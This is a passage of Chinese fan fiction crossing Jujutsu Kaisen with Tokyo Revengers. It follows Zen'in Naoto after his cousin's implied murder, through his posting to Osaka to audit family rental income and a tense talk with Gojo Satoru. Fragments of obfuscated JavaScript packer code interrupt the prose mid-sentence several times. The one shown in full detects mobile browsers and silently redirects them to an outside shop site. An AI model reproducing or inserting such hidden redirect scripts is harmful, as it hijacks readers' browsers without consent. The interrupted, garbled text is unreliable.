于是他走到场地圭介身后,手轻轻地搭在场地圭介的肩头,他什么也没说,一直等到场地圭介的哭声减弱,情绪平缓,才抽出两张纸巾递过去。 场地圭介接过纸巾,直人起身走到旁边,和他隔开一个身位。 等场地圭介收拾好自己,他沙哑着说:“抱歉,失礼了。” “没关系。”直人淡淡地说:“兄长若知道还有你们为他哭泣,也会感到开心。” “但也不要太难过。对术师来说,英年早逝是很平常的事。兄长他,是不会畏惧死亡的。” “你呢?”场地圭介看着他,“你也是咒术师吗?” 你也做好,说不定在平常的某一天就死亡的觉悟了吗? “不是。” 直人的声音没什么起伏,他浅浅地笑了一下,有些无可奈何地自我嘲解:“我生来就没有咒力。而且因为身体素质太差,连普通的运动都做不好,比一般人还要没用。” “但是直贺哥,虽然只是我的表兄,但一直很照顾我,我不用去与咒灵厮杀,也不用看见那些可怕的东西,算是一种幸运吧。” 他是笑着说的。 但场地圭介却能听出这是违心的话。 家中的事,直贺或多或少提到过,每当他回过家一趟,周身的压抑是无需明说就能让人感知到的。 直贺在一起喝过酒后,总说,他很寂寞,也很恐惧。 他明明有很多血脉相连的兄弟,但愿意和他来往的却少之又少。 就连今天急诊室外的那个金发男人,口口声声喊着兄长,可那悲伤一眼就能看出是装出来的,让场地极其不适。 尖利轻佻的眉眼很漂亮,可里面的虚伪让人作呕。 而这就是直贺众多兄弟里的一位。 他也这样吗? 场地圭介看着五官轮廓都要虚弱得要散开的直人,他也生活在这样的家里,忍受这样的寂寞和虚伪。 “那位……先生呢?他没和你一起吗?”场地圭介犹豫着,询问。 “我的哥哥?”意识到他在说直哉,直人眼睛微动,说:“他先回去了,我留下来处理直贺哥的后事。” 场地圭介闻言皱眉,但并没有说什么。 “直贺哥的遗体已经由人带走,今晚就能归家,劳烦挂心。” 场地圭介生硬地点点头,两人之间陷入一阵沉默。 “如果你以后需要帮忙……”场地圭介突然开口,语气很认真,“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在出发前,他回头看向直哉:“加茂川的尸体处理干净了吗?” 直哉甩甩刘海,眼睛重新粘回手机屏幕:“风介已经把他化成灰了,现在应该和直贺在底下抱头痛哭吧。” “既然那么爱惜兄弟,就一起下地狱好了。” “真可怜啊。” 直哉笑着感叹。 场地圭介找到松野千冬和羽宫一虎的时候,两个人还并排坐在长椅上,神情颓废。 “走吧。”场地停在他们面前,看着远方起伏的山林,声音平静:“直贺哥不会希望我们因为他停滞不前。” “我们要带着他那份,好好走下去。” “是!” 三人走在回去的路上。风一阵阵吹,场地抬着头,阳光刺得眼睛发痛。 直人乌黑的眼睛还在他脑海里重现——在昏暗冰冷的洗手台前,直直地看过来,带着消毒水的气味。 在一个红绿灯路口停下,场地下意识看向前方巨幅海报。模特耀眼的金发映入眼帘。 脑海中的片段被瞬间击中。 场地忽然瞪大双眼。 绿灯亮起,对面的行人涌来。嘈杂的人群,拽着他衣袖不解询问的千冬,这一刻都变得遥远。耳边传来汽车催促的鸣笛。 这些都不重要了。 场地终于想起那熟悉感从何而来——直人和那个金发男人,长着一模一样的脸。 17. 【十三】 回到京都禅院府邸的时候已经深夜。 惠子带着两个下人候在门口,直人隔老远就看见她们三人在檐下温顺地低头躬身。 头上悬着两盏橙红的灯笼,灯光笼下来,像博物馆里摆放的古代陪葬品。 看到直哉和直人下车,她们才像终于有了生命,立马迎上来: “欢迎回来,晚膳已经备好了。” 禅院直哉眼都不抬,大步走入宅邸,三个穿着和服的女性慌慌忙忙地跟在他身后小跑。 直人把车钥匙递给守夜的躯俱留,他站在路边,抬头看着漆黑的天空,抹了把酸胀的眼睛,从车上把两人的行李拎下来,才跟进去。 直哉直到玄关才停下脚步,他展开双臂,惠子会意地为他脱衣,另外两个下人跪下给他脱鞋。 直哉已经不是当初的孩子,瘦小的惠子有些吃力,但不敢让他弯腰,只能站在玄关台阶上,一个劲地踮脚。 直哉打了个哈欠,眼角挤出点泪花,和正在回消息的直人开玩笑:“我算是个还不错的男人吧?” 直人倚在廊柱上,闻言看向直哉,直哉接着说:“无论多晚都坚持回来吃饭,这不就是那些女人梦寐以求的好丈夫吗?” “总比那些只知道在夜店搂着陪酒女过夜的男人好多了。” 直人懒得搭理他,他现在连说话的力气都没有,只嗯了一声,又继续低头看手机。 直哉伸手把直人的手机抽过去,上下划拉两下,眉毛拧起来:“你又准备纹身?” 直人手搭在脖子上,慢吞吞地说:“我发现纹脖子好像挺好看的。” 今天在医院,和场地圭介同行的一个人,他脖子上就有一个虎头纹身。 很好看。 如果不是时机不对,直人应该会找他推荐纹身师。 直哉扫了直人的脖子两眼,阴阳怪气:“你别怪我没提醒你,只有精神病才会在夏天穿高领。” ——好吧。 直人想了下,不得不承认觉得直哉说得有道理。 他没再说话,脱下外衣交到下人手里,他现在只想躺下,连吃饭的力气也没有。 虽然已经好几小时没进过食,但他并没有饥饿的感觉。 “你要是再像当年,在街上被老太婆当成□□报警抓进警视厅,我是不会去捞你的。” 直哉把直人的手机丢回去,手指着直人的鼻子放话。 “我也不会。” 风介叼着烟走出来,身上随便穿着浴衣,头发乱糟糟的。 “你怎么在这里?”直哉看了眼时间,“大晚上你不睡觉在外面晃什么?” 风介瞟了这两兄弟一眼,满脸心烦:“还能因为什么,你们两个是开老头乐回来的?” “我就说我来开,他死活不肯。”直哉毫不客气地把责任推到直人身上。 “你是不是忘了你的驾驶证还在无效期?因为你闯红灯,斑马线不让行人和超速,一天就扣了10分。” 直人也没有好脸色,连续开了几个小时的车让他肩颈酸痛。 “哈——?那死老太婆走那么慢怪得了谁,难不成还要我下去扶她过马路!” “得了吧,你不骑着老太太过马路算良心发现了。”风介径直打断,他再也忍受不了这对双胞胎了,他看向直人,说出了正事:“家主让你回来了去他那里一趟。” 听到这句话,直人一时什么也没想,只知道眼下还不能休息。 他麻木地弯下腰,惠子又帮他把羽织披上,正了正领口。 直人还没说话,直哉先开口了:“这么晚了,他还没睡?” “呵,我忘了,老年人觉少。” 直哉紧跟着又问:“他找直人干什么?” …… 直哉和风介说了什么直人没怎么去听,草丛里吱呀吱呀的虫鸣倒是越来越清晰。 他扭过头,坐在玄关上目光放空在亮着幽幽红光的大门。 直哉和风介的争吵声越来越大,好像是因为风介知情,但不肯告诉直哉,非要直人自己过去听。 直人叹了口气,拖着身子站起来,转身走上台阶,往直毘人的院子去。 “喂,直人——” 直哉的声音从身后传过来,直人顿了一下,懒得回头,直哉自顾自地又喊了一句:“你要是太晚的话,晚饭我一口都不会给你留的。” 等到了直毘人的院落,下人说家主在庭院里面。 直人被引过去,刚踏上长廊就闻到浓烈的酒气,直毘人坐在阴暗的檐下,房间里的电视在放动画片,主角在嘻嘻哈哈地笑。 或许是因为术式的缘故,直毘人很喜欢看动画片。 以前他为了让直哉更好地理解投射咒法,也要求直哉和他一起看。 但直哉不是很感兴趣,他更喜欢看欧美电影。 “父亲。” 直人在直毘人几步之外驻足。 “你来了。”直毘人往嘴里灌酒,视线还放在电视上。 剧情到了精彩的部分,直毘人哈哈大笑,酒液从嘴里漏出来,滴到地板上。直人看了两眼,又继续低下头。 他没怎么看过动漫,只依稀知道好像是海贼王,戴着草帽的角色他在街边海报见过。 直毘人的注意力全都在电视上,好像忘记了叫直人来的目的。直人没有主动开口,只是动也不动地待在原地。 一直到一集结束,播放片尾的时候,直毘人终于放下了酒壶。他咂咂嘴,仍没有看向直人。 “直贺的事怎么样了?” “兄长的骨灰已经安置于东京咒术高专,以藤野贺冠名。” “嗯——”直毘人撑在膝盖上的手指敲了敲,又说:“直贺的妈妈今天得知消息,也跟着去了。” 直人垂下眼,声音平稳:“……还请节哀。” 直毘人从喉咙里滚出一声模糊的哼笑:“今天发生的好事,倒是一件接着一件。” 直人猛地抬眼看向他,又迅速低下头。 直毘人终于转过脸:“你们真以为我老糊涂了,什么都不知道?” 直人抿紧嘴唇,沉默地站在原地。 “你那点手段,也没多高明。”直毘人嗤笑,“我只是惊讶,你下手倒是挺狠。” 直人哐当跪下,额头抵着地板:“还请父亲明说。” 直毘人仰头灌下一大口酒,眼神轻蔑:“怂货,我没打算问罪。” “当年我能坐上家主的位置,同样杀了我不少兄弟,还有不少想杀我却不敢的兄弟。”直毘人声音平淡,“能杀了直贺是你们的本事,他折在这种手段是他无能。” “在禅院,只有赢家才能张口说话,我从不庇护废物。” “只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他像是边回忆边说:“禅院在大阪有几处产业,你过去学着打理。” “家里要是光靠做咒术师赚钱,迟早会破产。”直毘人瞥了他一眼,“等熟悉了,再考虑回京都。” 直人沉默片刻:“是。” “让风介也和你去,让他跟着你,不然哪天你被咒灵一口吞了我都不知道。”直毘人补充,“也省得直哉和他天天到处鬼混。” 直人抬起头:“但是风介是兄长的副手,如果没有风介帮忙……” “该让他学学独立了。”直毘人打断他,语气不容置疑,“你最近不是很喜欢信一那孩子吗?就让信一接替风介的位置。” 直人垂下眼帘,阴影遮住了他的表情:“明白了。” 直人离去的时候,直毘人叫住他: “直人,做父亲的今天给你一个忠告,做人、做事不要太绝,要留有余地。” 直人回头,直毘人单手撑脸看着他,面上没有表情,但眼睛却很宽和。 少了浮夸的神色,他看上去好像和街边那些六七十岁的老头也没有什么区别。 短暂的沉默,直人颔首:“儿子知道了。” 直毘人摆摆手,赶他:“走吧。” “哦,对了,以后低调点,我不想再听扇和我聊你的感情经历了,我对同性恋的故事不感兴趣。” 18. 【十四】 天刚蒙蒙亮,纸门外传来急促的脚步声,震得门框嗡嗡作响。 直人往被子里缩了缩,把枕头盖在头上。旁边直哉睡过的被褥已经凉了,他一向起得很早锻炼。 隔壁传来拉门被猛地拉开又甩上的动静。 风介盘腿坐在客厅地板上清点行李,把咒具一件件塞进咒符箱。他听着走廊尽头渐远的怒吼,往嘴里丢了颗薄荷糖。 “他去了。” 直人顶着乱窝窝的头发坐起来,眼下两团青黑。 他机械地套上衬衫,扣子刚系了两颗就停了手,垂着头坐在被窝里发呆。 风介把最后一件咒具装箱,扣上搭扣:“你猜他能闹多久?” “十分钟。”直人声音沙哑,“最多十五分钟。” 结果比预想的还要快。 拉门被“哗啦”一声扯开,撞在墙上又弹回去。禅院直哉站在门口,金发凌乱地翘着,练功服领口歪到锁骨下方。 他胸口剧烈起伏,耳垂上的银环跟着直颤。 “老不死的——!” 他踹翻了门边的衣架,木质支架裂成两截。风介探头看了眼,伸手准备把隔断门拉手。 直哉冲过去一把挡住,他看到风介收拾好的箱子,猛地瞪向风介:“妈的,你已经准备好走了?” 风介打了哈欠:“不然呢?” “老子还在为了留下你们两个努力!” “你又做无用功。” 风介不以为意,他从地上站起来,跨过地上乱糟糟的衣服,走到直人边上,把他往被窝外面拽:“快起来收东西。” “——!”直哉气得又一脚踹上旁边的案桌,上面的早点撒了一地,他指着直人和风介破口大骂: “你们两个有一个学会一个人睡觉了吗?把你们两个放出去,完全就是危害社会!” 风介语气平平:“真难说我们和你,谁对社会危害更大一点。” 禅院直哉气得要死,把火力全都对准风介:“说的就是你,天天晚上都要去找女人的臭虫。” “我哪有天天——为什么你不说直人。”风介转头指着在拎裤子的直人,直人睡眼惺忪地抬起头,像是不懂他们又在吵什么,捆好腰带后走到柜子边上拿起水杯灌了一大口。 “能不能包容一下异性恋,禅院还需要喜欢女人的男人。” “你的子嗣留下来也是玷污血脉。” “……话说你和直人是双胞胎吧?” “你脑子傻了?” “你们两个共用同一套DNA,那你会不会也喜欢男的?” “——你不用去大阪了。”直哉的声音突然变得冷静,然后下一秒就朝风介扑过去:“因为老子今天要杀了你!” 两个人在地板上打作一团,直人对着镜子理好衣服,弯腰避开风介的拳头,又抬脚跨过直哉的腿,走到衣柜跟前,拉开柜门开始准备要带走的衣服。 常服基本上都是直哉的,他喜欢买大一码,直人穿着就刚好修身。 他掏出手机查看大阪的天气,根据温度挑了几套合适的,又另外带了几套和服。 重重的脚步声从门外传来,忍无可忍的甚一出现在门口,他头发乱糟糟的,恐怕是刚从床上爬起来。 “你们几个混蛋,能不能看看现在才几点!” 直哉松开风介的衣领,看向自己这个堂哥,冷笑一声:“不是说年纪大的人觉少吗?这个点也该清醒了,兰太都已经在道场训练了。有天赋的人都知道努力,寂寂无名的杂鱼倒是躺平了。” 房间瞬间冷场。 禅院甚一的脸色变了又变,他一向是个好脾气的人,但每次都能被直哉气得眉毛倒竖。 他最后看向直人,鼻子里哼了一声:“一路顺风。今年的新年参拜,可不要错过了。” 然后他没再看目眦尽裂的直哉,转头就走。 “你他妈睡糊涂了吗,现在才九月!”直哉追上去,在走廊上对着甚一的背影怒吼。 风介好心提醒:“他的意思应该是我们到过年都不一定能回来。” “你闭嘴!” 直人把叠好的衣服塞进行李箱,在房间里转了一圈,看还有没有要带的,他语气平常地说:“大阪又不远,你随时可以来看我。” “我看你妈!”直哉抄起枕头砸过去。枕头软绵绵地撞在橱门上,滑落到榻榻米上。 风介拎起咒具箱,“我去看看车备好没有。” 他灵活地避开满地杂物,闪身出门。纸门合拢前,他朝直人递了个“自求多福”的眼神。 直哉的怒火终于彻底爆发。 “你他妈就没什么想说的?”他踢开挡路的坐垫,冲到直人面前,“我把信一那小子提上来是为了牵制其他几个废物,不是让他取代风介!” “我能说什么,你都改变不了他的主意,我能吗?”直人弯腰把地上的杂志捡起来,声音很轻:“你该试试和其他人相处了,成为家主要能笼络人心。” 直哉像是被按了暂停键。 他盯着直人看了很久。 直人知道他是怎么想的,他一直认为自己只要够强就好了,其余人怎样都无所谓。 直人又说:“三番队和四番队的队长为人还不错,你平时对他们态度好点。信一还太年轻,做事难免会有纰漏,你别全都丢给他干。” “原来一番队的都是直贺的人,直贺死了他们也只能看你眼色,没必要对他们太刻薄,眼下是收服他们的好机会。” “我为什么——” “直哉。”直人看着直哉的眼睛,缓缓说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887259|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我会担心的。多和他们接触接触吧,兰太也会多来找你,你别骂他,他还是小孩子。” …… 又是一阵沉默。 直哉一甩袖子,转身就走:“你还是多担心担心你自己吧,二级都评不上的废物!” 等他的脚步声彻底消失,几个下人才出现在门口,看着满地狼藉,战战兢兢地不敢进来。 直人看了他们一眼,转头去浴室洗漱,他们才松了口气,进来收拾。 等直人拎着行李到大门口,风介已经倚在车边等他。 “他呢?”风介看了看直人身后,没看到人。 “不知道。” 直人打开后备箱,把东西往里塞。 “行了,上车。” 风介一屁股坐进驾驶座,直人也跟着坐上副驾。然而车辆刚发动,直哉又从大门冲了出来。 “我新买的裤子呢?黑色有暗纹那条,我还一次没穿过。”直哉撑在副驾车窗口,质问。 直人想了下,懒洋洋地说:“好像在我行李箱里。” “还给我!” “你自己再去买啊。” 直人别过脸,瘫在座椅上懒得动。 “你任务出得那么勤,酬金那么多,一条裤子干嘛和弟弟计较。”风介在旁边说风凉话。 “你们两个——”直哉胸膛剧烈起伏。 “算了!”直哉转而又提起另一个话题,他伸手扯过直人的耳朵逼他看过来:“你们在大阪不许去吃饭团。” “为什么?”风介这下真有点困惑了,“是有什么不吉利的说法吗?” “我怕你们两个胖死在那里。” 风介无语,他看了眼直人,又看向直哉:“就他?搞得像有厌食症一样,还吃饭团,你还是说说让他记得按时吃饭的温情话吧。” 直哉看都不看他,又继续对直人说:“我给你打电话必须接,每个星期至少回来一趟。还有——” “还有什么还有,开车一个小时的距离搞得像生离死别一样,烦死人了。” 风介一踩油门,走了。 暴怒的直哉被甩在后面,直人趴在车窗上往后看,他一个人孤零零站在大路中央。 有点可怜。 “你们两个别恶心人了,平时直哉出差你俩不也经常不在一块儿吗?” 风介一把把直人扯回来,让他在靠垫上靠好:“别挡我后视镜。” 直人瞥了他一眼,没说话。 他拿出手机,刚刚没来得及看line,只记得有一大推未读。 他划掉一堆不重要的,然后看到了五条悟的消息。 手指一顿,点进去,凌晨两点,五条悟发了张照片,还跟了个问号。 照片里拍的正是直贺的死亡登记单。 19. 【十五】 手机屏幕亮着,五条悟看见他的消息转为已读,立马又发了一条新的过来: 【我怎么不记得我签过这个字?】 直人点开图片放大,最底下露出个蓝色印章的边角,直人认得是硝子的章,说明流程已经走完了。 他退出图片,盯着那句话看了半天,期间五条悟破天荒很安静,像是在等待他的解释。 直人最后打字: 【我晕车,不舒服,下车了回复。】 果然,消息刚发出去,五条悟就转问: 【你去哪?】 【大阪。】 没等那边再回,直人又补了一句:【别打电话。】 然后他按熄屏幕,把手机丢到一边,弯腰从脚边的文件袋里抽出一沓资产证明和财务报表。 御三家多少都有些副业。 毕竟御三家维持运转,光靠术师祓除咒灵的酬金远远不够。族内能产出稳定收益的术师不足三分之二,各级术师酬金抽成后,真正能进入家族公账的资金,要支撑整个禅院家的开销,时常捉襟见肘。 禅院在大阪港和伊丹机场附近各有一家物流公司,明面上从事普通进出口货物的仓储运输,暗地里负责咒具、咒物在关西地区的安全运输。 且在西成区还有一家建筑公司,与咒术协会和政府合作,接管了整个中央区和天王寺区因咒灵而不得不进行的建筑工程。 以上是直接服务咒术师的产业,更多是为了方便术师活动,盈利有限,物流公司的月净利润有时候甚至还赶不上直哉一个月的税后酬金。 真正稳定的现金流来源,是家族世代积累的土地和房产租金。尤其在难波拥有一处市场,容纳百余户商户,位置处于商业繁华区,人流量大,租金收入可观,是关西地区产业的重要支柱。 但近几年,负责人禅院一郎上供本家的金额不仅没有随市上涨,还有所下滑。 由前几年的每月约1.8亿日元,到今年已经降到1.4亿日元左右。 禅院一郎给出的理由是税收增加和维护成本攀上,且有一大部分商户是很多年前签了长期合同的客户,租金无法上涨。 直毘人没耐心听这些弯弯绕绕的理由,他让直人过来,就是为了让这笔租金收入达到理想的水平。 无论怎么样的手段都好。 只要最后上供的数额能让本家满意,那未来这个市场的负责人就是直人。 “我看过近期的账目,每月列支的管理及维护费用在一千五百万日元上下。”风介从后视镜看了直人一眼,见他怏怏的,说,“晕车的话就到地方再看,你要是吐车里我会杀了你的。” 直人没理他,他翻看着土地面积、商户数量清单,又对比了大阪当地同类服务的市场报价,“我们有自己的物业服务团队,即便算上他们的薪酬、公共区域维护和行政杂费,实际成本也应在八百万到一千万日元之间。” 当然,无论是大阪还是其他地方,产业负责人从各项开支中捞取一些油水是常态,直毘人对此通常睁一只眼闭一只眼,只要不过分,几百万日元的差额尚在容忍范围内。 但直人仔细核对了租赁合同,发现签订超长租约的商户比例并不高,不足两成。而更多近几年新入驻的商家,其租金水平竟然与周边人流稍逊的地段持平。 这处市场可是位于难波的核心商圈。 “禅院一郎是在做慈善么?”直人语气平淡。 风介握着方向盘,哼笑一声:“不清楚。不过他名下确实没有登记不动产或其他显著资产,一直住在家族提供的公寓里。” 禅院家规严禁非家主成员持有固定资产,个人账户也由家族财政统一管理,任务酬金与生活津贴分卡发放。 “开什么玩笑,禅院还能有这种大善人。” “要做慈善,也不该拿本家的产业来做。”直人将资料塞回文件袋,他脸色有些发白,手肘撑在车窗框上。 “要开窗吗?” “不。”要是吹一路风,等到了目的地肯定会头疼。 直人闭上眼休息,过了一会儿他又开口: “禅院一郎的妻女呢?” “按规矩,在本家。” 外派人员的直系亲属需留居本家,既是便利,也是人质。 直人嗯了一声。 车直接开到了难波,停进一栋高层公寓的停车场。直人下车扶着车门缓了一会儿,风介把行李全都从后备箱拎下来,两个人才上了楼。 直毘人提供的套房在十二层,两室一厅,视野开阔。 他们这次过来没有通知禅院一郎,对外只说被外派到禅院在这边清剿咒灵的驻点。 风介把行李随便往客厅一丢,打着哈欠进了次卧:“我再睡会儿。” 直人没说话。 他走到客厅的落地窗前站了一会儿,望着远方蓝到发白的天,半晌,折返回客厅,将里面近几年的财务报表全部摊开在茶几上。 房间里只剩下纸张翻动的窸窣声。 时间慢慢过去,窗外的天色从明亮的上午转到偏斜的午后。 风介终于从房间里出来,直人头也没抬,点了点桌上只动了两三个的寿司:“我中午点的外送。” 风介随手拿了一个塞进嘴里,已经凉透了,他反正不挑,几口把剩下的全都吃干净。 “有什么发现?” “账目做得很漂亮,只有部分项目虚高,严格追究起来的话,他负责的这八年他从中获利三亿日元左右。” 直人抬眼,和风介四目相对。 八年,三亿日元,那可真是太廉洁了。 直人见过几次禅院一郎,是个看上去谨小慎微的中年人,穿着很朴素,每次回本家,身上灰扑扑的和服都是同一件。 他的妻女在本家待遇也一般,并没有得到他太多的照拂。 但是,三亿日元在日本,足够一个普通家庭过得很富裕。 风介笑了一声:“他把钱花哪了?” “不清楚。他账户里没那么多钱。” 直人翻动文件,突然问:“他现在独居?” “看上去是的。” “那就让人去跟一下。” “知道了。” “本家财政总管……六月初把他叫回京都,”直人说话声音很慢,他眨眨眼,试图让视线聚焦,盯着记录手札断断续续地说,“责问他为什么给新来的商户远低市场价的合同租金。” “他怎么说?” “他说,”直人把手札调转方向推给风介,“他想给一些年轻商人一些机会,高昂的租金会让一些新鲜血液望而退却。” “如果市场的商品不能够吸引年轻人,收入的确会大打折扣。”毕竟他们才是现如今消费的主力军。 “但是这可是在难波核心商圈。”风介翻了两页就丢回桌面,在直人对面坐下:“我可没听说奢侈品贱价甩卖,就为了扩大穷人的市场。” “明天白天去市场看看。” 今天这个点已经到了生意最好的时候,商户恐怕没什么精力应付他们。 直人倚倒在沙发上,抬手蒙着眼睛。 “你去睡,剩下的我来看。” 直人窝在沙发折角,僵直的脊背今天第一次陷进沙发,过了片刻,他才从沙发上起身往卧室走。 等他终于瘫倒在床上,翻身把脸埋进枕头里,腰间脊椎发出回位的咔哒声响,直人盖上被子全身舒展开,闭上眼,意识开始涣散。 他逐渐陷入睡眠,身体下沉——手机铃声响了。 …… 直人烦躁地啧了一声。 是五条悟。 直人拿过手机接听,那头传来五条悟的声音:“你在大阪哪?” 直人不情不愿地拖长音调:“难波。” 紧接着,直人就听见五条悟喊伊地知,让他转向。 “好巧,我也在难波,上次不是说请我吃饭?就今天吧。” 直人沉默了几秒,他睁眼望着天花板,已经没什么困意了。 他心想五条悟为什么不能早点说,这个时候该订哪里的餐厅。 “喂喂喂?怎么不说话,晕车还没好?” “不……”直人从床上撑起来,弯腰去捞地上的裤子。 五条悟听见直人沙哑的声音,过了会改口:“改天也行。” “就今天。”直人更喜欢把事情一次性解决掉,他掀开被子,床上的温度才刚变温,直人搓了两把眼睛,边想边说:“等会儿……我把地址发你。” “……我来订吧。” “哈——?” “没关系,到时候你结账就可以了。放心,我不会点太贵的。” “……” 直人索性也懒得再想,于是松口:“记得找环境隐蔽的,然后把地址发给我,我自己过来。” “你是在和我偷情吗?” “没什么区别。”直人声音平平,径直挂断电话。 他下床,在摊开的行李箱跟前楞了半天,才伸手挑了件大领口的长袖上衣套上,走出房间。 风介正好拎了外卖进来,他关上门,看向像鬼一样立在那里的直人:“怎么起来了,吃不吃?” 是一大盒天妇罗。 直人光是闻到就想吐,感觉肠胃都绞在了一起。 五条悟速度很快,已经把地址发了过来,是一家酒店。直人步行过去大概只要十分钟。 直人戴上鸭舌帽和口罩,越过风介往外走。 风介一向不爱管直人往哪去,就只问:“晚上还回来睡觉吗?” “路上遇到咒灵记得跑啊——” 嘎吱一声,直人把风介的声音锁在门内。 直人走进酒店,在前台报出五条悟的名字,前台小姐闻言没有确认他的身份证件,而是直接把房卡给了他。 等直人刷卡房门,偌大的房间,五条悟坐在落地窗前,双腿伸直交叠在地毯上,面前的餐桌铺了白色桌布,已经上了红酒。 五条悟听到声音,回头对直人挥挥手:“怎么样,还满意吗?” 直人没搭腔,他反手关门,摘了口罩和帽子,走过去,视线没在酒杯上停留。 他和五条悟没一个人能喝酒。 五条悟带着眼罩,脸随着直人的走动偏转方向,直人没有坐下,而是站在离他不远的地方,倚着落地柜看向窗外。 这家酒店地段很好,五条悟开的房间在顶楼,能俯瞰整个大阪。天色渐晚,商区的霓虹灯一层层亮起。 房间里谁都没说话。 五条悟嘴角挂着微妙的笑,但随着时间的推移,那弧度渐渐变浅,直至完全消失。 “藤野贺,”他终于开口,声音平稳,听不出情绪,“哪位?” 他心知肚明。 直人站在餐桌另一侧,没接话。 五条悟也不需要他回答,看着窗外的夜景,自顾自说下去,语调轻飘飘的:“亲儿子出车祸死了,就觉得丢人,连名字都改了,随便丢在高专不闻不问……真是好冷酷的心肠。” 他微微偏头,面朝直人的方向:“哪天你死了,不会也是这种待遇吧?” 他顿了顿,语气忽然带上点戏谑,“那我会替你收尸的,保证给你风光大葬。” “多谢。”直人说,声音没什么起伏。 五条悟低笑了一声,再开口,声音变得冷漠:“他到底怎么死的?” …… 气氛逐渐变得凝重。 直人终于看向五条悟,他知道隐瞒并没有用,他直直地看着五条悟漆黑的眼罩,嘴唇动了动,吐出句:“就那样。” …… 五条悟愣了两秒,然后嗤笑,他转头看向窗外,又看向直人,嘴抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你做的一切都是为了他吗,真的吗?”五条悟的声音压得很低,“你为了他,所做的一切都是心甘情愿真心实意的吗?” 直人抿紧了嘴唇,依旧沉默。他的侧脸在室外霓虹灯的映照下显得有些暗沉。 “哈。”五条悟短促地笑了一下,靠回椅背,“真让我惊讶。在那样的地方,对着那样一个兄弟,你居然能……‘爱’到这种地步。” 他刻意加重了“爱”这个字,带着说不清的嘲讽。 “这么多年,难道你就没想过离开禅院吗?” 回答他的还是沉默。 “哦,我忘了。你当然想走。”五条悟像是才想起来,语气恢复了那种轻佻的残忍,“但是你离不开直哉。但他不会跟你走,对吧?对他来说,禅院家主的位子才是最重要的。” “那种废物,连家主的位子都要靠咒力都没有的兄弟帮忙——” “那你呢?”直人打断五条悟,声音轻得要命:“你当年为什么不和夏油杰走。” 五条悟敲击扶手的动作停顿。 “是真心想留下来‘为民除害’,做一个伟大的咒术师,”直人一字一顿,声音带着嘲弄的笑,“还是夏油杰……没邀请你啊?” 房间里的空气仿佛彻底凝固了。 不知过去多久,五条悟再试着开口,声音揶揄:“说话这么绝情?当年他差点杀了你,还是我救了你呢。” 直人像没听到,他起身,走开了几步,手撑在桌面上,他问五条悟:“你现在的一切都是你真心实意想要的吗,你感到幸福感到完成你的使命了吗。多高尚,多崇高的理想。” 他看着五条悟,最后说道: “我太弱了,没得选。” “五条悟,你也一样。” “你太强了,照样没得选。” 五条悟露出的半张脸,由窗外的光照分割成两半,嘴角平直。 “五条悟,我还是那么讨厌你。” “为什么?”五条悟终于有了反应,低声问。 直人只是看着他,没有回答。 五条悟坐在宽敞的椅子里,漂亮的白发被霓虹灯染上不同的颜色,他垂着头,高挑的身体却束手束脚。 多可怜。 直人不再看他。 “从很早以前就想问你,你为什么总是说你讨厌我?”五条悟摘下眼罩,仰头看向直人。 直人别过脸,喉结微动:“……我伤害到你了吗?最强那么脆弱吗?” “或许。” “……我不会再说了。” “也不必。” 五条悟笑了下,“你一直是个很坦率的人,高专的时候,你对我说的最多的就是这句。” 直人怔了一下,开口:“我没——” “给自己留条回头的路吧,直人。”五条悟打断他,蓝色的眼睛定定地看着直人:“当年的事是我对不起你……对不起,道歉的话今天才说出口。” “你在说什么?”直人蹙眉,“都说了我不是因为那种小事——” “给自己留条回头的路吧,直人。”五条悟又重复了一遍。 “别走杰的路。”他固执地看着直人,蓝色的眼睛空空荡荡。 直人哑声,思索夏油杰的出现频率是不是太高了点。 五条悟也笑了,又用起高专时候硝子调侃直人和夏油杰的称呼:“你们两口子,还真是挺像的。” “都说了别这么叫我们。”直人烦躁地回答,但他的姿态轻松了不少,“我和他已经是上辈子的事了。” 五条悟举起双手投降:“是是是。你和他已经分手了。” 气氛活络了起来。五条悟看了眼时间,又看向直人,意味深长:“我还能在这里留一个小时。” 直人一时没懂。 五条悟的视线往下,又说:“一个小时,你应该绰绰有余了?” …… 直人看着已经起身的五条悟,沉默良久,他闭上眼又睁开,声音苍白:“说真的,你不累吗?” “诶,直人你才26啊。” …… 20. 【十六】回忆 五条悟不喜欢禅院直人。 他第一次见到对方,是在自己入学高专前举办的元服仪式上。 在此之前,五条悟只见过禅院直哉。 从族人口中,他隐约听说直哉有个双胞胎弟弟,长相极为相似,只是天生没有咒力。 五条家的人私下议论,说幸好那是一对双胞胎。若禅院嫡子单独降世,说不定真能觉醒十种影法术。 毕竟历年来六眼和十种影法术总是相伴出现。 五条悟闻言也有些可惜。 要是他真能见识到十种影法术,他还真想切磋一下,到底谁更强。 不过这点念头转瞬即逝。 禅院也好,加茂也罢,投射咒法也好,十种影法术也罢,在他眼里都是烂橘子堆里的东西。 烂橘子就是烂橘子,双胞胎不过是双倍的愚钝,双倍的无趣。 想到那张令人生厌的脸居然还有另一张,他只觉可笑。 后来再遇见直哉时,五条悟脸上便带了点微妙的笑意。 